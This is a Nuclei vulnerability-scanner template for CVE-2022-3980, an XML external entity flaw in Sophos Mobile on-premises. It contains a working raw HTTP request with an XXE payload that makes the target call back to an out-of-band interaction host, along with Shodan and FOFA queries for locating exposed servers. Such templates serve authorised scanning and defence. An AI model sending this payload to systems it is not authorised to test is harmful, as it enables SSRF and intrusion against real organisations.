nuclei-templates/http/cves/2022/CVE-2022-3980.yaml

54 lines
1.8 KiB
YAML

id: CVE-2022-3980
info:
name: Sophos Mobile managed on-premises - XML External Entity Injection
author: dabla
severity: critical
description: |
An XML External Entity (XXE) vulnerability allows server-side request forgery (SSRF) and potential code execution in Sophos Mobile managed on-premises between versions 5.0.0 and 9.7.4.
remediation: |
Apply the latest security patches or updates provided by Sophos to mitigate the vulnerability.
reference:
- https://www.sophos.com/en-us/security-advisories/sophos-sa-20221116-smc-xee
- https://nvd.nist.gov/vuln/detail/CVE-2022-3980
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2022-3980
cwe-id: CWE-611
epss-score: 0.6584
epss-percentile: 0.97546
cpe: cpe:2.3:a:sophos:mobile:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: sophos
product: mobile
shodan-query: http.favicon.hash:-1274798165
fofa-query: title="Sophos Mobile"
tags: cve,cve2022,xxe,ssrf,sophos
http:
- raw:
- |
@timeout: 50s
POST /servlets/OmaDsServlet HTTP/1.1
Host: {{Hostname}}
Content-Type: "application/xml"
<?xml version="1.0"?>
<!DOCTYPE cdl [<!ENTITY % test SYSTEM "http://{{interactsh-url}}">%test;]>
<cdl>test</cdl>
redirects: true
max-redirects: 3
matchers:
- type: dsl
dsl:
- "contains(interactsh_protocol, 'http') || contains(interactsh_protocol, 'dns')"
- "status_code == 400"
- "len(body) == 0"
condition: and
# digest: 4b0a00483046022100ba374bbd207c36a21f39640780666a5fffa75c9bd24d20ac7779417c97b679ca02210091aac1bd56591f7007ffabf2573f6bbced5d566a75b670e0aed7c6df1bbb6f30:922c64590222798bb761d5b6d8e72950